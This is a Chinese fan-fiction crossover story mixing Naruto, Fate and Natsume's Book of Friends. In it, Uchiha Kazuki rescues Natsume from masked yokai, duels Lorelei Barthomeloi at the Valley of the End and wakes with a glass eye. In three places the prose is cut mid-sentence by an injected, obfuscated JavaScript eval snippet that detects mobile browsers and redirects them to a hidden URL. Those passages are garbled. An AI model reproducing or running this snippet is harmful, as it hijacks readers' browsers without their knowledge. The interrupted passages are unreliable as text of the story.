《宇智波一树今天穿越了吗》 1. 第一章 景文古田高中高三1班转来了一名新的学生。 “是个从英国过来的混血,他长得可真好看啊!”这天,高三1班的学生们回家后,纷纷对父母和朋友说道。“他走进教室的时候,简直就像是漫画书里的美少年,从书里走出来了一样!” “不过要说缺点的话,在同龄人当中,他确实有点矮……” 而“漫画书里走出来的矮个子美少年”本人,则是在放学后躲在了天台上,借着夕阳的余晖,用手指在虚空中画了一个圈—— 一面水镜伴随着他强大魔力的释放,缓缓浮现在虚空中,随后出现在镜中的,是一位如明月般美丽清冷的年轻人的侧脸。 “啊!萤大人!你真的在等我啊!”宇智波一树惊喜的叫道。远在地球另一侧,和木叶足足有着九个小时时差的英国伦敦,其实早就进入凌晨时分了,他并没有期望父母还在等着他,但家里的另一位长辈却不一样;不过,真的看到对方沉静如海的面容出现在水镜另一侧的客厅之中,还是让他心花怒放,脸上顿时浮现出激动的晕红来。 “果然,我最最最最喜欢萤大人你了!” “哼,只怕下次跟你爸联系上的时候,你嘴里最喜欢的人就该换人了吧。”闻言,宇智波萤不可置否的转过头看向他,灿金色的眼眸却在身边炉火的映照下,泛起了温柔的暖光。 尽管外表看起来不过二十来岁,这位俊美青年的年龄,实则早已跨过了五百岁的大门。若按血缘辈分来算,他其实是一树曾曾曾……曾祖母的哥哥,也是宇智波家辈分最长的大家长。他们皆出身于一个古老的、曾经为这个国家的创建立下过不世之功的家族,只是在遥远的昔日,因为种种原因,一部分族人远渡重洋,从东方转去了欧洲大陆生活,是以一树从小在英国长大,直到十二岁那年,才阴差阳错的踏上了这片故乡的土地。 当然,如今的一树选择再次远渡重洋,前来木叶上学,那就是另一个故事了。 “夕阳好美啊,不知道我现在看到的夕阳,和百年前鸣人大人和佐助大人看到的会不会一样呢。”抱着手臂靠在栏杆上,一树和长辈分享完了今天上学的经历,又望着被夕阳染红的天空,说起了别的话。“萤大人,这里离终结谷真的好近啊,我已经看到斑大人雕像的头顶了。先祖们以前肯定想不到,城市有一天,居然会扩展到如今这个地步吧!” “嗯哼,话虽如此,你还是少去南贺川附近晃悠比较好哦,蜜糖。”萤点燃了香烟,吸了一口,慵懒的靠在了沙发扶手上。 “那个地方嘛……不用我多说吧,参考先祖们的经历,总觉得是你的话,说不定会发生一些很奇怪的事情呢。” “哈哈,是像泉奈大人遇到扉间大人一样、斑大人遇到柱间大人一样,还是像佐助大人遇到鸣人大人一样呢?真是的,不希望我这么快谈恋爱的话,萤大人你直接说出来就好了啦!”这种家族内部笑话,一树一听就懂,立刻玩笑似的接口道:“但如果是那样的命运的话,恐怕即便不是在南贺川,也一定会遇到吧——诶?” 忽然,他惊叫一声,原本闲适的目光凝聚在了一处,同时迅速对水镜说道:“萤大人,我得走了——我的同学刚才在校门外被妖怪抓走了!” 萤:“……” 萤:“哈?” 不管萤对这场打断自己和自家小孩闲聊的突发事件感觉有多莫名其妙,救人心切的一树却已经干净利落的解除了魔术,直接从天台上翻了下去,像一只鹤一样轻飘飘的落在树上,随后,他踩着树干,一头扎进了学校后山郁郁葱葱的深林之中。 ——在树叶的阴影下,他的眼睛由原本天空般的蔚蓝,转变为了鲜艳的红色,并且从中浮现出转动的万花筒一般复杂绚丽的图案来。 “月之魔眼”写轮眼。 这是宇智波一族的血脉自古流传下来的独特的魔眼,具有观察、复制、催眠等多种能力,即便在最深的黑暗里,也能帮助他看到正在发生的一切。 在他的视线中,那几个抓着人逃走的高大身影仿佛近在咫尺般清楚明了,它们头上戴着巨大的猿猴面具,手里拎着长|枪一类的武器,被他们抓着的少年穿着和一树同样的校服,在被抓走的同时,还努力保护着自己随身的挎包,但那张清秀温和的脸却是十分陌生的,并没有出现在今天的班级中。 也许是其他班级的同学或者学弟,但那并不重要,是以一树也没有多想,他只是从挎包里抽出自己的钢笔,在上面留下一束盛开的蓝铃花一般的印记,随后把它像是苦无一样用力投掷了出去。 “嘿,你们要把人带到哪儿去?”他抬手结印,在钢笔落下的同时,与其落到了同一个地方。这种时空忍术,最初由木叶的第二任参谋长千手扉间研发而成,后经由四代火影波风水门之手发扬光大,名为飞雷神之术,但落在猿面妖怪眼中,却像是他直接从大家背后瞬移了过来一般,纷纷吓了一跳,脚步一下子站住了。不过,它们还是立刻将长|枪指向了拦路者,挡在了那个被抓的男孩面前。 “是人类!是除妖人吗?” “一定是吧!不是除妖人,他怎么能追上我们?” “你也想要这孩子手里的友人帐吗?痴心妄想!友人帐是属于我们的首领、属于六花大人的!” 嗯,近看这副面具有点像苹果核呢,而且它们真的好吵啊。一树抬手掏了掏耳朵,对这种明摆着的绑架抢劫行为也没什么好脸色,干脆直截了当的对他们说道:“我不知道你们说的友人帐是什么,但听你们的意思,那并不是属于你们的东西吧。既然友人帐是那个小哥的,他不愿意给你们,你们也不能暴力抢夺才对,识相的话,还是把他交给我比较好哦。” 毕竟他只想隐姓埋名、过点轻松快乐的校园生活,并不想卷入麻烦之中,所以也希望在场的人能识相点,不要让他自己变成那个麻烦! 然而,猿面妖怪们听他这么说,只当他要和己方作对,顿时高声叫嚷着朝着一树冲了过来。被他们随手推倒在地上的少年刚才一直没有说话,此时见他们动起手来,不由惊慌的说道:“等等,不要伤害他——” 然而下一刻,他就听到一树用英语对他说道:“闭上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814459|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼睛!”,对方沉稳的声音似乎有种奇怪的魔力,让他下意识的照做了。 在一片黑暗之中,他听到自己紧张的心跳声,怦怦撞击着耳膜。片刻后,猿面妖怪的叫喊声奇异的戛然而止,原本抓着他的手也齐齐放了开来,他听到一阵窸窸窣窣的脚步声从自己身边离开,随后响起的,是一树平静的声音。 “好了,他们走了,你可以把眼睛睁开了。” * 他们在下山的同时互相自我介绍了一番,这名少年名叫夏目贵志,是一树的学弟,在高二2班上学;友人帐则是其外婆留给他的遗物,这是一本记载着众多妖怪名字的神奇契约书,因为只要知道妖怪的外貌、叫出妖怪的名字,就能够命令其为之所用,所以一直以来,想要拿回友人帐中名字的妖怪,还有想要得到友人帐为自己所用的妖怪,都时不时的会在夏目身边出没。 “原来如此,你是怀璧其罪啊。”第一次听说这样的东西,一树觉得十分有趣,随后,他深有同感的说道:“虽然后辈不该说先祖的坏话,但他们的确就是这样的家伙呢,即使我们什么也没做,偶尔也会受他们牵连——比如说我十二岁那年,曾经连续一个月都在做被面麻大人欺负的噩梦哦!” “……所以,你真的出身那个宇智波一族,是宇智波面麻的后裔吗?”夏目贵志谨慎的询问道,内心却颇有几分微妙的感觉——他既没想到自己能再遇到一个真正和自己一样、能看到妖怪的同学,也没想到对方的出身,竟然如此显赫。 毕竟谁不知道,正是昔日宇智波一族和千手一族的结盟,正式宣告了战国时代的结束,才有了之后这个国家的诞生啊! 只不过随着时代的更迭、族人的增长,这个姓氏过去的种种神异,似乎都留在了遥远的历史和夸张的电视剧当中。夏目贵志以前也不是没遇到姓宇智波的同学或者老师,但他们谁也没有像一树一样,拥有那双宇智波闻名于世的、仿佛能摄人心魄的眼睛。 等等,刚才他眼睛里浮现的图案,好像不是三勾玉吧……! “哈哈……对啊,而且家里人都说,我和面麻大人长得很像,大概是这一点引起了他的不满吧。”一树尴尬的打了个哈哈。 他当然不能跟新朋友说,十二岁那年,他无意中卷入了一场名为“圣杯战争”的混乱之中,又穿越去了其他时空,和被召唤而来的先祖们的英灵一起度过了好长一段时间,还被他们当成了好用的代餐道具,拿他跟异世界的人们各种胡编乱造,说了好多现在想想,能让他羞愤欲死的话……总而言之,被面麻大人报复,其实也是事出有因就是了! 幸而心思细腻的夏目贵志看出他神色中的为难,也没有多问,而紧接着,他们更是听到一个呼唤着夏目名字的声音,从山坡下面传了过来,于是,夏目贵志一边回应着那声呼唤,一边冲了过去,最后俯下身,从一丛灌木后面抱出了一只圆滚滚的猫咪来。 看清楚那只憨态可掬的猫咪独特的长相,一树瞪圆了眼睛,好半晌,才猛然叫出声来—— “诶?招财猫原来也能成精的吗?!” 2. 第二章 “咄!说谁是招财猫成精呢!” 听到他的惊叹,猫咪半月型的眼睛顿时变成了愤怒的三白眼,它从夏目贵志怀里一跃而出,一头朝着一树的下巴撞了过去。 “本大爷本体可是超好看的大妖怪,只是变成了这副模样而已!” 不过,它没能撞到一树,而是在靠近他的时候,就被他伸手一把抱住了。 “唉呀,毛茸茸的,果然猫咪不管怎么样都很可爱,喵喵!”一树使劲揉了揉它柔软的背毛,对它炸毛似的叫喊根本不以为意,只是转过头对夏目贵志说道:“我本来还担心你经常被妖怪骚扰,难免会遇到危险,想让你从友人帐上选一两个妖怪来驱使呢,或者我来帮你找一个——它们之中有想从友人帐上取回名字的,就会有想要留在人类当中平静生活的,保护你也不过是举手之劳而已啦,不用有什么负担,毕竟人类的寿命最长不过百年,对于妖怪们来说,其实也不过是一眨眼的时间呢。” “不过,既然你已经有如此贴心的保护者了,那我就不用多此一举了!这真是太好了,夏目。” 听他这么一说,猫咪老师挣扎的力度一下子降低了许多,夏目贵志却有些好奇:“所以,学长你认识很多妖怪吗?” “也不算多吧,我熟悉的妖怪其实只有九只而已,比起你那本友人帐,那可就少多了……不过,它们总有认识的妖怪吧,或者它们之中有谁愿意搬过来住也行啊,看在我的面子上,九喇嘛总不至于为朋友侵入它的领地而生气吧。”一树歪着头,理所当然的说道。 “九尾?”猫咪老师敏锐的提取了他话语里的关键词,猛地瞪圆了眼睛。“人类,你居然认识那个九尾?!” “猫咪老师,学长是姓宇智波的。”夏目贵志赶紧提醒他,心里却不由自主的想到:在六代火影已经离世数百年后的今日,他的后人却仍然能如今熟稔的叫出九尾的名字啊……所以这么多年以来,它一直在守护着他们吗?它在学长的身上,仍然看得到六代火影和暗部队长的影子吗?那个告诉学长他长的很像宇智波面麻的人……莫非就是九尾? 还真是长情的妖怪啊…… “原来如此,原来如此,你是漩涡鸣人的后裔啊……”猫咪老师眯起眼睛,表情似笑非笑。“听说九尾为了保护人类的孩子,离开了它诞生的这片土地,去了很远很远的地方,自那以后,大家就很少见到它了……这说的不会就是你们家吧?” “不错。”一树爽快的承认了这件事。“因为我们家的人又弱小,还总是遇到各种麻烦,所以才需要强大的九喇嘛的照看嘛~” “哈,小鬼,你就不用为他掩饰了吧!”猫咪老师狂笑着说道:“大家都知道,是九尾割舍不下与人类之间的感情,不愿意和你们分开,才会追随着六代火影的后人而去的!哼,说到底,堂堂九尾,也不过是个怕寂寞的胆小鬼——” “老师!”夏目贵志有些不悦的唤了它一声,示意它不要这么嘲笑别人,一树却没有因此生气,凝望着招财猫的神色甚至显得有些高深莫测。 “害怕寂寞吗……如果九喇嘛在这里,肯定会傲娇的不承认吧,然后把一切都推给鸣人大人过世前对它的嘱托,不过你说得也没错啦,和鸣人大人一起度过的那些时光,哪怕过了那么漫长的岁月,它也并没有忘怀过……嗯嗯,果然有着同样的经历,就是能够感同身受呢!” 猫咪老师猝不及防的被反将了一军:“喂,你这个家伙,说什么同样的经历……” 对方却只是若无其事的看了身边的夏目贵志一眼,愉快的吹起了口哨:太大言不惭的话,小心说过的话,会像回旋镖一样戳到自己身上哦~ 他把刚认识的学弟一路送回了家中,给他指明了自己暂居的房子所在的方位,又邀请他有空找自己一起玩,这才同他道了别,拐进一旁的巷子里,直接飞雷神回了家。这是一座族人度假用的别墅,坐立在城郊,有着一栋三层高的小楼和一座开满了花的花园,打理得十分美丽舒适,还是听说一树要来这里读书,家族特意留给他暂住的。 一树落在客厅正中的飞雷神印记上,伸了个懒腰,一个翻身躺在了沙发上。管家机器人检测到他的归来,捧着盛着热气腾腾红茶的托盘滑动到他的面前,语音询问主人有什么需求。 “唔……给我准备一个帐篷吧。”一树端起托盘上的红茶喝了一口,蔚蓝色的眼睛里闪烁着顽皮的光芒。“今晚,我打算去南贺川旁边露营啦!” 如果让萤知道,某人前脚刚被他警告远离南贺川,后脚就欢天喜地的跑了过去,一定会横跨几大洲来狠狠揍一顿一树的屁股。奈何长辈们没有一个在身边,一树也就放飞了自我,背着管家机器人为他收拾好的背包,踩着昏暗的夜色,一路溜达到了南贺川边。 沧海桑田,时移世易,比起数百年前,南贺川两侧筑起了高高的堤坝,曾经名噪一时的终结谷也被休整成了国家公园。成荫的绿树环绕着两座结着和解之印的高大石像,瀑布从石像中穿梭而过,在空中洒落一片绚烂的银白,最后融入南贺川潺潺的流水之中。一树背着包从树顶一跃而过的时候,望着这两座颇有纪念意义的石像,忍不住在心里想道:如果柱间大人和斑大人现在在他身边的话,不知道会对此说些什么呢? 他回想起过去那场混乱的穿越,早就成为英灵,进入英灵殿的先祖们交替出现在他身边,陪伴并教导着他,如今想起来,真是一场如童话般梦幻的旅行啊! 这么说起来,萤大人说过,在自己回家以后,他就把大圣杯物归原主了,毕竟那相当于是他硬抢来的东西,留在家里的确不太好……所以,冬木的魔术师们,今后还会举行同样的仪式吗?如果再参加一次的话,自己也还能和先祖们见面吗? “可惜下一次圣杯战争至少在五十年以后了,而且圣杯战争的参与者必然会为争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814460|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夺圣杯而斗得你死我活……上一次是迫不得已也就算了,但如果是我主动为了这么一点微小的愿望就去伤害别人的话,扉间大人肯定会对我超级失望的啦。” 一树喃喃自语的说道。如果被亲爱的扉间大人归类到“邪恶的宇智波”里面的话,那他就不要活了! ——然而,在他沿着一处灵脉,找了一处空地放下背包,准备扎起帐篷的时候,一道夜风如同锋利的刀刃般袭来,差点落到他的身上,一树瞬身闪开,脸上却忍不住露出混合着失落和靴子终于落地的坦然的复杂表情来。 “罗蕾莱。”他头痛的叫出了来者的名字,仰起头望向漆黑的夜空。“我今天才办好入学手续,你就追了过来,就这么离不开我吗?” 夜空之上,一位华服少女手握一根银柄马鞭,正如履平地一般凌空站在虚空之中。夜风平稳的托着她的身体,却连她的发丝也不敢掀起一丝一毫,像是忠臣拜服于女王脚下一般温和柔顺,而她实际上,也的确是一位女王——她是执掌魔术协会总部、时钟塔的十二位君主中的三大贵族之一,“巴瑟梅罗”的现任当主,虽然年纪轻轻,却已被看作为“现代最高峰的魔术师”。 其不仅担任着时钟塔的院长辅佐,还是指挥着精锐魔术师部队,“圣歌队”的魔导元帅,总而言之,是个各方面的能力都已达到顶点、如烈日般君临于时钟塔顶端的可怕人物。 听说她还没成年,先代巴瑟梅罗就已经主动让出了君主之位,并为她冠上了巴瑟梅罗这个姓氏。对于他们一族来说,只有“巴瑟梅罗”这个响亮的称呼,才算得上是真正的名字,是以一树此时反而不肯用姓氏称呼她,而选择了称呼对方的名字,看似亲近实则暗含讽刺。 时钟塔的所有人都宣称,罗蕾莱就是为了成为魔术师而来到这个世界上的,甚至谁也不曾怀疑,她将来必然能抵达魔法的境界。但如果用一树的父亲宇智波秀幸的说法来诉说这件事的话,那就不太客气了,因为秀幸的原话是:“真是恭喜了,时钟塔这个怪物大本营,又多了一个强大的、流血不流泪的可怕怪物,那些前赴后继前来朝圣的魔术师,到底知不知道这里是孕育怪物的巢穴啊?” 当然,对于和她年纪相仿、且同样因为优秀的天份而名噪一时的一树来说,感觉就更不一样了。除却幼时在交际沙龙中相见以外,他每一次见到罗蕾莱,对方都会向他提出一些她觉得理所当然、一树却觉得困扰非常的要求,比如邀请他加入圣歌队,比如让他劝说父亲,脱离主张广开门户的民主主义立场,加入以巴瑟梅罗为首的、崇尚血统的贵族主义,当然还有最重要,也是吓得一树远渡重洋,来到木叶的根本原因—— “我当然离不开你了,一树,你在我的人生规划里,可是占据了很重要的位置呢。”罗蕾莱一板一眼的说道,语调优美得好似吟唱咏唱调。“那么,你已经准备好,和我一起孕育巴瑟梅罗的后继者了吗?” 3. 第三章 尽管早在英国的时候,一树就已经听她说过一回这样的话,但此时再次听到,他还是止不住的一阵恶寒,忍不住将双手交叉放在胸前,像受惊的少女一样尖叫着说道:“我不要!” “为什么呢?”罗蕾莱反问道,语气里像是她平时主持时钟塔会议时一样严肃坦然。虽然正处在青春敏感的年龄,但她的意识里完全没有对这种事的避讳,反而衬得对面的一树才像是出身规矩森严的守旧家族一般。 “我以为这件事对你也没有坏处。” “但也谈不上有好处吧,谁想刚成年就当爸爸啊!而且你还比我小两岁,还不到法定结婚年龄哦!虽然我知道这么跟你说,你也是完全听不进去的,毕竟你们什么时候在乎过法律啊……”一树苦口婆心的劝说道。“考虑到我们的寿命必然超过普通人,有什么必要在这个时候就开始考虑子嗣的问题啊?即使一百岁的时候再说这件事,也来得及吧!” “容我提醒一下,你的父亲宇智波秀幸生下你的时候,才二十三岁。” “那是因为你搞错了重点,我爸爸和我妈妈的故事源于他们的一见钟情,彼此相爱,我的诞生只是他们纯真爱情的衍生产物罢了,他们不是为了生我而在一起的,甚至因为他们的结合,时钟塔的人还没少笑话我爹地呢。”一树立刻抱怨道。 他的母亲千手梨纱并非出身魔术师家族,体内的魔力也就比普通人多上一点,何况她在木叶长大,在认识秀幸之前,根本就没有接触过魔术。彼时的秀幸作为时钟塔新任君主,又是血统濒临断绝的月之魔眼的后继者,却选择迎娶这样一位堪称一无是处的妻子,属实令人难以理解,让他的同僚笑掉了大牙,据说当时时钟塔风靡一时的笑话,就是宇智波的荣耀会彻底断在秀幸这一代,这一族马上就会被踢出十二位君主之列。 然而秀幸结婚一年以后就愉快的做了父亲,并且大摆筵席,邀请了所有同僚来家里欣赏他可爱的长子。自那以后,时钟塔内部流传的谣言就开始往奇怪的方向发展了——秀幸成了用心险恶的阴谋家,故意迎娶了和他有着同样先祖血脉的妻子,并且使用了某种不知名的秘法,才得到了拥有血统返祖、天赋卓著的一树! 一树:虽然但是,他爸的确因为害怕妈妈如祖母那样,因为生育强大魔力的子嗣而难产,最终因此而死,所以选择用阴阳遁来诞育子嗣,所以这个谣言,其实也不算空穴来风啦,反而歪打正着的说对了。 但和他同父同母,并且同样由阴阳遁带来这个世上的妹妹薰,却并没有他这样傲然于世的魔术回路……即使是人造人亦有差异,生命的诞生,从来不会因为诞生仪式的改变而变化,罗蕾莱看好他的天分,觉得他俩强强联手,必然能生出强大的血裔,一树却并不认可她的想法,毕竟太阳底下无新事,同样的事,根本已经发生过了。 即便是强大的、为日后所有血裔带来了木遁血统和开启轮回眼希望的千手柱间和宇智波斑,他们膝下的五名子嗣之中,幼子宇智波良三也是体弱多病,盛年早逝。 更别提世上现存的几位魔法使,使用第五魔法的苍崎青子,据说她年轻时的天赋和魔术回路,远不如其姐、如今被叫做“伤痛之赤”,曾经名噪一时的苍崎橙子,但最后成为魔法使的,不还是她嘛。 命运有时候就是那么爱作弄人,世上之人,大约谁也不能免俗! 但罗蕾莱却误会了他话中的意味,抱着肩说道:“原来如此,是因为我们之间没有爱情,所以你才不愿意和我有子嗣吗?好吧,虽然不明白为什么你会产生如此无聊的想法,但看在我需要你的帮助的份上,就尊重你无趣的选择好了。这样吧,把你的一根肋骨和血肉给我,我自然能创造出流着你我的血的孩子来。” 一树抬手抹去头上沁出的冷汗:“……所以说,你完全没有考虑我们的孩子可能出现还不如普通魔术师的孩子魔术回路多的情况吗?就像初代魔术师大多在某一方面是出众的天才一样,天赋这种事情,根本不是你我的血肉能够决定的啦。虽然现在一切都还在薛定谔的箱子里,谁也不知道会不会出现,但如果真的发生了这样的事,你要那些孩子如何自处呢?” 毕竟把孩子带来世上的是父母,岂能将一个人的天赋视为原罪呢。 所以,他也同父亲一般,并不能苟同巴瑟梅罗所崇尚的精英血统论。 “嗯,我知道。”出乎他意料的是,罗蕾莱干脆利落的点了头。她抱着手臂,目光从一树的胸口,凛凛然扫到一树的小腹,那种打量猎物,冰冷无情的目光,让一树止不住的绷紧了肌肉。“不过,一个人体内,有二十四根肋骨,并且你的木遁,让你无论受到多重的伤,也能在瞬间痊愈,不是吗?” ——有那么一瞬间,一树感觉自己体内的血凝固了。 “是吗?……原来是这样啊。”他的语气一下子冷了下去。如果说,刚才的他还愿意看在大家同样出身时钟塔、且对方和父亲还是同僚的份上,好好的跟罗蕾莱说话的话,现在的他已经放弃了这个想法,而把对方视为了不可交流的对象。 “不错,就算一时会有失败,但只要用我的骨和我的血不断创造下去,总会有一个人符合你的要求……但你只需要一个合适的继承人,那么,其他被淘汰掉的孩子,你从一开始,就不打算留下他们的性命,是吗?” “你要的话,一并留给你也行,毕竟你们一族濒临灭亡,很缺孩子嘛。”罗蕾莱用施舍般怜悯的语气说道。虽然这话很是刺耳,但她其实并没有嘲讽的意思,而是在冷静的说出事实。在几十年前,宇智波一族中了一个极度恶劣的诅咒,族人因此陆续死去,解除诅咒以后,也有两三代血裔因诅咒的残秽缠身短折而死,以至于这一支宇智波如今只剩下一树一家四口存活于世。在她看来,宇智波一族在渡过昔日几近灭族的诅咒以后,就该不择手段的增加后裔了,而不是像秀幸夫妇一样,多年来竟只生育抚养了两个孩子。 “但恕我直言,最终能继承你的魔术刻印的孩子,也只有那么一个,你迟早也是要舍弃其他人的,倒不如从一开始,就将他们全部毁掉——” 她没有再说下去,因为四周的树木突然开始抽动枝条,这些原本算不上锋利的枝叶,恍然如同箭一般,朝着空中的她急射而去!栗发少女并没有动,身侧的夜风却像是有生命一般骤然咆哮起来,化作一只无形的大手,将席卷而来的树枝拍得粉碎。 碎叶簌簌飞舞,挡住了罗蕾莱的视线,当碎叶落下之后,她对上了一双淡紫色的、带着圆圈图案的特殊眼瞳。 轮回眼,这眼睛似乎是他们一族所持有的月之魔眼的最终形态,原来他真的是有脾气的啊。罗蕾莱在心里兴奋的想到,往常一树总是在逃跑,从未向她露出獠牙,是以她也是第一次见到这双独特的眼睛。终究还是走到这一步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814461|158645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,早知如此……还不如一开始就不和他多说,直接动手就好。 “……也罢,反正我来的时候已经布好结界了,就让你瞧瞧巴瑟梅罗的手段吧!希望等会儿,你能给我一个我想听到的答案。” 这场战斗开始得很突然,结束得却很迅速。一树跌倒在石壁上,背后的紫黑色骨架将地面砸出一个巨大的深坑,随后慢慢消失在了空气中。他喘着粗气,手指在手臂上摸索了一阵,沿着伤口直接撕开血肉,取出了其中镶嵌的数颗银质子弹,随手扔在地上——不过片刻功夫,他撕裂的肌肤就已经愈合如初,再看不出任何受伤的痕迹。 在他上方,罗蕾莱站在一地大大小小的碎石之上,原本束得整整齐齐的栗色头发因为发带断裂而披散下来,让她比起之前冷酷无情的精英模样,多了几分人味。她手里的银柄马鞭断成了两节,被她嫌弃的扔在地上,随后,她从碎石上一跃而下,几步跨到了一树所在的大坑边。 一树仰起头,对上隐含着兴奋的她暗金色的眼睛。罗蕾莱的气息也有些不稳,连续击碎数颗从天而来的天碍震星,还是让她完美无缺的外壳展露了一丝难得的疲惫,但也仅有那么一丝罢了,一树能感觉到她体内的魔力在呼吸之间恢复了全盛,随时能再给他一发圣光,那光芒实在太炽烈,自己明明不是吸血鬼,都感觉快被照死了。 偏偏对方一开口,还是对他的指责:“你太在意瀑布边上那两座雕像了,都不能放开手好好跟我打一下!” “拜托,那是我们家柱间大人和斑大人的雕像啊,对我们家意义非凡,你难道要我看着它们被我们打碎吗?”一树从坑里一跃而起,悲愤的叫道:“要不是你追到这里来,我是绝对不可能在终结谷和人动手的啦!” 的确,这里是他们一族的故土,如果换成是在巴瑟梅罗的族地打架,大概自己会比他还要愤怒吧。 这样想着,罗蕾莱抬起双手,像是拿着指挥杖指挥音乐的音乐家一般,在空中划过优美的弧度。 刹那间,满地碎石回归原位,断裂的树木重新种回地上,因为地势改变而四分五裂的流水,也回到了一开始的河道上。一树将手按在地上,发动土遁,填上了脚下的深坑,回到了地面上,抬头一看,四周已然恢复了他们动手之前的场景,夜风吹动树叶,发出沙沙的响声,而罗蕾莱已经从外衣口袋里抽出一条全新的缎带,重新束好了长发。 “谢谢你,巴瑟梅罗!”一树感激的说道。“所以……咳咳,你放弃啦?” “唔,今晚真是个不错的夜晚呢。”罗蕾莱说道,为同龄人中有个可以随时切磋的对手而心生欢喜,虽然巴瑟梅罗的族规,要求他们每个人都得傲视群雄,成为震慑一切的统领者,但战胜一群毫无反抗之力的蝼蚁,又如何能与打败一位伯仲之间的对手相提并论呢? “我要回英国了,但可以告诉你,今晚不会是一切的结束。”罗蕾莱说道。她看出如今的一树是半点退让的意思都没有的,或许从他那个态度模棱两可的父亲那里入手更为简单。“你知道的吧,一树,魔术师说出的话语,都是有意义的。” “那么,『相信你我的血脉,终会汇集在一处』。” “呵呵。”这是诅咒吗?这一定是诅咒吧!一树勉强按下自己想要吐槽的心情,皮笑肉不笑的说道:“那我就祝福我们两个,『将来必定会和能为之付出一切的真爱结合』吧!” 4. 第四章 罗蕾莱匆匆而来,又匆匆而去,甚至带走了刚才呼啸的夜风。因为刚才的打斗,整个树林寂静如厮,根本听不到丝毫的虫鸣鸟叫,只有流水声潺潺响在耳边,一树犹豫了一下,也懒得去找不知道还有没有尸体残留的背包了,把地上的落叶拢了拢,就就地躺了下来。 “哼,来都来了,架也打了,明天还是周末,那我今天就要在这里休息了!” 不过,来终结谷必和人打架,难道也是宇智波的宿命吗?! 这样想着的一树,揉了揉自己酸痛的背脊,没一会儿就迷迷糊糊睡了过去。等第二天清晨的阳光透过树叶落到他的脸上,他才在婉转的鸟啼声中睁开眼睛,从树叶堆里跳起身来,伸了个懒腰。 随后,他微微皱起了眉。 奇怪,怎么感觉视线有点怪怪的,左眼怎么什么都看不见。一树心里想着,伸手揉了揉自己的左眼——然而,就是这么一个普通的动作,那只眼珠却从他的眼眶里掉出来,咕噜噜滚到了他的手心里,一树低下头,怔怔的望着手里薄荷绿的玻璃珠子,片刻之后,他发出一声凄厉的惨叫,惊飞了树顶刚刚落回来的飞鸟。 “什么鬼?我的眼睛呢?!” 苍天啊大地啊,谁能不惊动他,就把他的眼珠给换了啊?! 一树想不明白,举着玻璃珠子对着阳光仔细一看,发现那珠子正中铭刻着一对张开的翅膀一样的图案,其中似乎蕴含着风元素的力气。一树深吸了一口气,调用周身的风元素之力注入其中,霎时间,玻璃珠一下子光芒大盛,从中涌出两股凌厉的狂风,仿佛一双无形的羽翼一般,托着一树的身体,将他一下子带到了半空中! ——一个人偶从他怀里掉出来,啪嗒落到了地上。 “这难道是罗蕾莱做的吗?”一树在半空中调整了一下姿态,避免自己被风吹得头脚颠倒,最后一头栽倒在地,一边努力思考着。的确,罗蕾莱·巴瑟梅罗的魔力属性就是风,虽然对上了,但以巴瑟梅罗高傲的个性和强大的实力,相信她会趁着自己睡觉偷偷挖走自己的眼睛,还不如相信一树自己梦游把眼睛挖出来扔进南贺川了。 而等他落地以后,捡起地上的人偶一看,木叶风格的偶人更是与英伦出身的罗蕾莱毫无关系。人偶头戴深紫色被衣,身穿白色童子水干服及浅紫色单衣,闭着的眼睛下面用线绣了一颗眼泪,表情看起来有些忧伤。这当然不是一树的玩具,在此之前,他也从未见过。 那么,当你排除一切不可能,剩下的不管多么难以置信,也一定是真相了。想到这里,一树忍不住仰天长叹道:“可恶,我到底是穿到了什么地方,遇到了什么人,才会把左眼给送出去啊!” 那可是他的轮回眼啊!而且他左眼的万花筒能力是白山权现中的“链接”,比右眼的“祓除”有用多了,这种能力能制造不存在的记忆,改变人的感情,是以过去很长一段时间,一直被人们戏称为“感情的骗子”,被人拿去胡乱使用的话,会引发很多麻烦的! “而且,为什么我会忘记发生了什么事呢?我又不是第一次穿越了,以前也没有过这样的事啊?”一树想不明白,忍不住伸手抓了抓头发,但这一抓之下,却让他崩溃的发现了另一件事。 他原本只留到肩膀的头发,不知何时长到了腰部,而且由原本的黑色,变成雪一样的白色!头发尾端被整整齐齐的扎起,戴着一个缀着铃铛和金羽的漂亮发饰,但和人偶一样,他当然也从没买过这个模样的装饰品。 一树:“……” 写轮眼不知道去哪儿了,下次和家里水镜通话,肯定就会被萤大人责骂;老妈最爱的黑头发也没了,虽然妈咪不会为此骂他,但这到底是为什么啊?! 不过头发的问题倒是好解决,一树飞雷神回别墅,收起人偶和发饰,唤来机器人管家剪短头发,并把头发染回了黑色。剪下的头发,则被他带到别墅地下的实验室中,用各种工具核验了一番。 